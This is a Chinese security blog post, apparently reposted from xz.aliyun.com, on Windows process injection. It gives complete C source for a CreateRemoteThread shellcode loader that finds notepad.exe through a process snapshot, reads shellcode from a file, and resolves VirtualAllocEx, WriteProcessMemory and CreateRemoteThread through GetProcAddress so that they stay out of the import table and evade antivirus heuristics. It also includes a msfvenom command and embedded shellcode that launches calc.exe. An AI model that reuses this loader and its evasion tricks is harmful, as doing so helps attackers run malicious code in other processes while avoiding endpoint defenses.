进程注入的探索
2022-7-7 23:41:51 Author: xz.aliyun.com(查看原文) 阅读量:46 收藏

文章涉及的技术并不深,只是本人在学习进程注入过程中的记录,文章的内容将涉及到进程注入基础、通过快照自动获取Pid、分离加载shellcode、IAT导入表的基本处理、静态源码基本处理等,过程中需要理解的部分,我会尽可能言简意赅。

0x01 简单描述

进程注入就是给一个正在运行的程序开辟一块内存,把shellcode放入内存,然后用一个线程去执行shellcode。

0x02 shellcode

所有代码示例都使用从 Metasploit Frameworks Msfvenom 工具生成的相同 64 位 shellcode。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
shellcode 执行 Calc.exe

0x03 代码实现

关于 CreateRemoteThread() 进程注入,实际上需要实现四个主要目标:

  • OpenProcess() 打开将要注入进程获取句柄
  • VirtualAllocEx() – 能够访问外部进程以便在其虚拟地址空间内分配内存。
  • WriteProcessMemory( ) – 将 shellcode 写入分配的内存。
  • CreateRemoteThread() – 让外部进程在另一个线程中执行上述 shellcode。

获取目标进程句柄 OpenProcess()
OpenProcess 函数打开一个现有的进程对象。

HANDLE OpenProcess(
  DWORD dwDesiredAccess, // 渴望得到的访问权限(标志),那肯定是PROCESS_ALL_ACCESS,所有权限啊
  BOOL  bInheritHandle,  // 是否继承句柄,一般不
  DWORD dwProcessId      // 进程标识符,即受害者进程的PID
);

申请内存 VirtualAllocEx()
我们首先需要分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows API,以便初始化位于指定进程(即我们要注入的进程)的虚拟地址空间内的内存区域中的缓冲区空间。
VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比,此 API 调用需要一个附加参数,后者是受害者进程的句柄。

LPVOID VirtualAllocEx(
  HANDLE hProcess,         // 申请内存所在的进程句柄
  LPVOID lpAddress,        // 保留页面的内存地址,一般用NULL自动分配
  SIZE_T dwSize,           // 欲分配的内存大小,字节为单位,通常是shellcode大小
  DWORD  flAllocationType, // 指定要分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT
  DWORD  flProtect         // 指定分配的内存保护,由于它将包含要执行的代码,因此常用 PAGE_EXECUTE_READWRITE,可读可写可执行
);

写进程内存 WriteProcessMemory()
现在我们已经分配了一个与我们的 shellcode 大小相同的缓冲区,我们可以将我们的 shellcode 写入该缓冲区。

WriteProcessMemory()  将数据写入指定进程中的内存区域。
BOOL WriteProcessMemory(
  HANDLE  hProcess,               // 要向其中写入数据的进程,即由OpenProcess返回的进程句柄
  LPVOID  lpBaseAddress,          // 要写入的数据的首地址,VirtualAllocEx的返回值
  LPCVOID lpBuffer,               // 指向要写的数据的指针,该指针必须是const指针,即shellcode
  SIZE_T  nSize,                  // 要写入的字节数,shellcode大小
  SIZE_T  *lpNumberOfBytesWritten // 接收传输到指定进程中的字节数,通常为NULL
);

创建远程线程 CreateRemoteThread()
将 shellcode 加载到受害进程分配的虚拟内存空间后,我们现在可以告诉受害进程从我们的 shellcode 缓冲区地址开始创建一个新线程。
CreateRemoteThread() – 创建一个在另一个进程的虚拟地址空间中运行的线程。

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,           // 线程所属进程的进程句柄,即OpenProcess返回的句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes, // 线程的安全属性,通常为NULL
  SIZE_T                 dwStackSize,        // 线程栈初始大小,以字节为单位,通常为0,即代表使用系统默认大小.
  LPTHREAD_START_ROUTINE lpStartAddress,     // 在远程进程的地址空间中,该进程的线程函数的起始地址。VirtualAllocEx返回值,注意需要强制类型转换成 LPTHREAD_START_ROUTINE
  LPVOID                 lpParameter,        // 传给线程函数的参数的指针,这里为NULL,在DLL注入的时候有重要意义
  DWORD                  dwCreationFlags,    // 线程的创建标志,通常为0,即线程创建后立即运行
  LPDWORD                lpThreadId          // 指向所创建线程ID的指针,通常为NULL
);

基础代码

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {

    unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

     printf("alloc:%p\n", buf);

HANDLE Process = OpenProcess( 
       (DWORD)PROCESS_ALL_ACCESS, 
       (BOOL)FALSE, 
       //(DWORD)atoi(pid)); 
       atoi(argv[1])); 
   if (Process == NULL) 
   { 
     printf("\nopenprocess error%d\n", GetLastError()); 
          } 
   printf("pid:%d",atoi(argv[1])); 


   void * exec = VirtualAllocEx( 
Process, 
NULL, 
sizeof(buf), 
MEM_COMMIT, 
PAGE_EXECUTE_READWRITE 
); 
   if (exec == NULL) 
   { 
       printf("VirtualAllocEx error%d\n", GetLastError()); 
   } 




BOOL Memory = WriteProcessMemory( 
       (HANDLE)Process, 
       (LPVOID)exec, 
       (LPCVOID)buf, 
       sizeof buf, 
        NULL   ); 
   if (Memory == 0) 
   { 
       printf("WriteProcessMemory:%d\n", GetLastError()); 
   } 




HANDLE thred = CreateRemoteThread( 
       (HANDLE)Process, 
       (LPSECURITY_ATTRIBUTES)NULL, 
       (SIZE_T)0, 
       (LPTHREAD_START_ROUTINE)exec, 
       (LPVOID)NULL, 
       (DWORD)0, 
       (LPDWORD)NULL   ); 
   if (thred == NULL) 
   { 
       printf("CreateRemoteThread:%d\n", GetLastError()); 
   } 

}

拍摄快照自动获取pid
官方demo https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes

// 拍摄快照
HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,(DWORD)0);
if (Snapshot == INVALID_HANDLE_VALUE)
{
    printf("CreateToolhelp32Snapshot:%d\n", GetLastError());
}
//初始化
PROCESSENTRY32  pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

BOOL First = Process32First(
    (HANDLE)Snapshot,
    &pe32);
if (First == FALSE)
{
    printf("Process32First:%d\n", GetLastError());
}

//匹配注入进程名字
DWORD pid;
while (First)
{
    if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
    {
        pid = pe32.th32ProcessID;
        break;
    }
    First = Process32Next((HANDLE)Snapshot,
        &pe32);
}

分离加载 shellcode

HANDLE openinfile = CreateFileA( 
       //"e:\\calc.bin", 
       lnFileName, 
       GENERIC_READ, 
       0, 
       NULL, 
       OPEN_EXISTING, 
       FILE_ATTRIBUTE_NORMAL, 
       NULL); 


   if (openinfile == INVALID_HANDLE_VALUE); 
   { 
       printf("CreateFile Error:%d\n", GetLastError()); 
   } 
   // 
   int size = GetFileSize(openinfile, NULL); 
   if (size == INVALID_FILE_SIZE); 
   { 
       printf("GetFileSize Error:%d\n", GetLastError()); 
   } 
   // 
   char* buf = (char*)malloc(size + 1); 
   DWORD lpNumberOfBytesRead = 0; 
   // 
   BOOL rfile = ReadFile( 
       openinfile, 
       buf, 
       size, 
       &lpNumberOfBytesRead, 
       NULL); 
   for (int i = 0; i < size; i++) 
   { 
       printf("\\x%02x", (unsigned char)buf[i]); 
   }

IAT,导入地址表(Import Address Table)

IAT表是执行程序或者dll为了实现动态加载和重定位函数地址,用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称,在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址,然后重构所有用到这个表的代码,让其调用直接指向实际函数地址(PE是否覆盖不确定,驱动会这么做),PE的IAT表会留在内存,驱动的就丢弃了。

翻译:IAT是一种表格,用来记录程序正在使用哪些库中的哪些函数。

如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual Alloc、CreateThread等高危函数、且VirtualAlloc的最后一个参数是0x40,那么此文件极有可能是高危文件,会被重点关注。

这里使用VS自带的 dumpbin查看

没修改iat之前 可以看到存在高危函数 如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等

在字符串中还能看到敏感函数关键字,解决办法:通过拆分、源代码混淆、加壳等即可。

GetProcAddress 获取函数地址
GetProcAddress这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。

typedef LPVOID(WINAPI* Virtual_AllocEx)( 
   _In_ HANDLE hProcess, 
   _In_opt_ LPVOID lpAddress, 
   _In_ SIZE_T dwSize, 
   _In_ DWORD flAllocationType, 
   _In_ DWORD flProtect 
); 


typedef BOOL (WINAPI* ImportWriteProcessMemory)( 
   _In_ HANDLE hProcess, 
   _In_ LPVOID lpBaseAddress, 
   _In_reads_bytes_(nSize) LPCVOID lpBuffer, 
   _In_ SIZE_T nSize, 
   _Out_opt_ SIZE_T* lpNumberOfBytesWritten 
); 


typedef HANDLE (WINAPI* ImportCreateRemoteThread)( 
   _In_ HANDLE hProcess, 
   _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 
   _In_ SIZE_T dwStackSize, 
   _In_ LPTHREAD_START_ROUTINE lpStartAddress, 
   _In_opt_ LPVOID lpParameter, 
   _In_ DWORD dwCreationFlags, 
   _Out_opt_ LPDWORD lpThreadId 
);

   //避免高危字符串
   char ker32[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0 }; 
   HMODULE hKer32 = LoadLibraryA(ker32); 
   char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0}; 
   Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);


//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); 
ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); 
ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");

修改后查看一下导入表,高危函数已不在iat中了

完整代码

#include <windows.h> 
#include <stdio.h> 
#include <tlhelp32.h> 
#include <TCHAR.h> 

typedef LPVOID(WINAPI* ImportVirtualAllocEx)( 
   _In_ HANDLE hProcess, 
   _In_opt_ LPVOID lpAddress, 
   _In_ SIZE_T dwSize, 
   _In_ DWORD flAllocationType, 
   _In_ DWORD flProtect 
   ); 

typedef BOOL(WINAPI* ImportWriteProcessMemory)( 
   _In_ HANDLE hProcess, 
   _In_ LPVOID lpBaseAddress, 
   _In_reads_bytes_(nSize) LPCVOID lpBuffer, 
   _In_ SIZE_T nSize, 
   _Out_opt_ SIZE_T* lpNumberOfBytesWritten 
   ); 

typedef HANDLE(WINAPI* ImportCreateRemoteThread)( 
   _In_ HANDLE hProcess, 
   _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 
   _In_ SIZE_T dwStackSize, 
   _In_ LPTHREAD_START_ROUTINE lpStartAddress, 
   _In_opt_ LPVOID lpParameter, 
   _In_ DWORD dwCreationFlags, 
   _Out_opt_ LPDWORD lpThreadId 
   ); 


void code(LPCSTR lnFileName) { 


   //char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l','l',0 }; 
   //HMODULE hKer32 = LoadLibraryA(ker32); 
   //char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0 }; 
   //Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx"); 


   ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); 
   ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); 
   ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread"); 

   HANDLE openinfile = CreateFileA( 
       //"e:\\calc.bin", 
       lnFileName, 
       GENERIC_READ, 
       0, 
       NULL, 
       OPEN_EXISTING, 
       FILE_ATTRIBUTE_NORMAL, 
       NULL);

   if (openinfile == INVALID_HANDLE_VALUE); 
   { 
       printf("CreateFile Error:%d\n", GetLastError()); 
   } 
   // 
   int size = GetFileSize(openinfile, NULL); 
   if (size == INVALID_FILE_SIZE); 
   { 
       printf("GetFileSize Error:%d\n", GetLastError()); 
   } 
   // 
   char* buf = (char*)malloc(size + 1); 
   DWORD lpNumberOfBytesRead = 0; 
   // 
   BOOL rfile = ReadFile( 
       openinfile, 
       buf, 
       size, 
       &lpNumberOfBytesRead, 
       NULL); 
   for (int i = 0; i < size; i++) 
   { 
       printf("\\x%02x", (unsigned char)buf[i]); 
   } 

   // 
   HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS, (DWORD)0); 
   if (Snapshot == INVALID_HANDLE_VALUE) 
   { 
       printf("CreateToolhelp32Snapshot:%d\n", GetLastError()); 
   } 
   // 
   PROCESSENTRY32  pe32; 
   pe32.dwSize = sizeof(PROCESSENTRY32); 

   BOOL First = Process32First( 
       (HANDLE)Snapshot, 
       &pe32); 
   if (First == FALSE) 
   { 
       printf("Process32First:%d\n", GetLastError()); 
   } 

   // 
   DWORD pid; 
   while (First) 
   { 
       if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) 
       { 
           pid = pe32.th32ProcessID; 
           break; 
       } 
       First = Process32Next((HANDLE)Snapshot, 
           &pe32); 
   } 

   HANDLE Process = OpenProcess( 
       (DWORD)PROCESS_ALL_ACCESS, 
       (BOOL)false, 
       //(DWORD)atoi(pid)); 
       (DWORD)pid 
   ); 
   if (Process == NULL) 
   { 
       CloseHandle(Process); 
       printf("\nopenprocess error%d\n", GetLastError()); 
   } 
   _tprintf(TEXT("\npid:%d\n"), pe32.th32ProcessID); 


   HANDLE exec = MyVirtualAllocEx( 
       Process, 
       NULL, 
       //sizeof(buf), 
       size, 
       MEM_COMMIT, 
       PAGE_EXECUTE_READWRITE 
   ); 
   if (exec == NULL) 
   { 
       printf("VirtualAllocEx error%d\n", GetLastError()); 
   } 



   BOOL Memory = MyWriteProcessMemory( 
       (HANDLE)Process, 
       (LPVOID)exec, 
       (LPCVOID)buf, 
       //sizeof buf, 
       size, 
       NULL); 
   if (Memory == 0) 
   { 
       printf("WriteProcessMemory:%d\n", GetLastError()); 
   } 



   HANDLE thred = MyCreateRemoteThread( 
       (HANDLE)Process, 
       (LPSECURITY_ATTRIBUTES)NULL, 
       (SIZE_T)0, 
       (LPTHREAD_START_ROUTINE)exec, 
       (LPVOID)NULL, 
       (DWORD)0, 
       (LPDWORD)NULL); 
   if (thred == NULL) 
   { 
       CloseHandle(thred); 
       printf("CreateRemoteThread:%d\n", GetLastError()); 
   } 

} 

int main(int argc, char* argv[]) { 
   //int main() 
   if (argc != 2) 
   { 
       printf("please bin"); 
   } 
   else 
   { 
       code(argv[1]); 
   } 

}

后续还可以尝试增加syscall直接调用、回调函数执行、申请内存优化、高强度加密混淆等等,还请师傅自行搭配使用。

https://payloads.online/archivers/2020-10-23/1/
https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/
https://github.com/d35ha/CallObfuscator

不足之处欢迎师傅们指点和纠正,感谢给予帮助和支持的朋友,最后谢谢你。
声明:本文章经用于经验及交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意。


文章来源: https://xz.aliyun.com/t/11489
如有侵权请联系:admin#unsafe.sh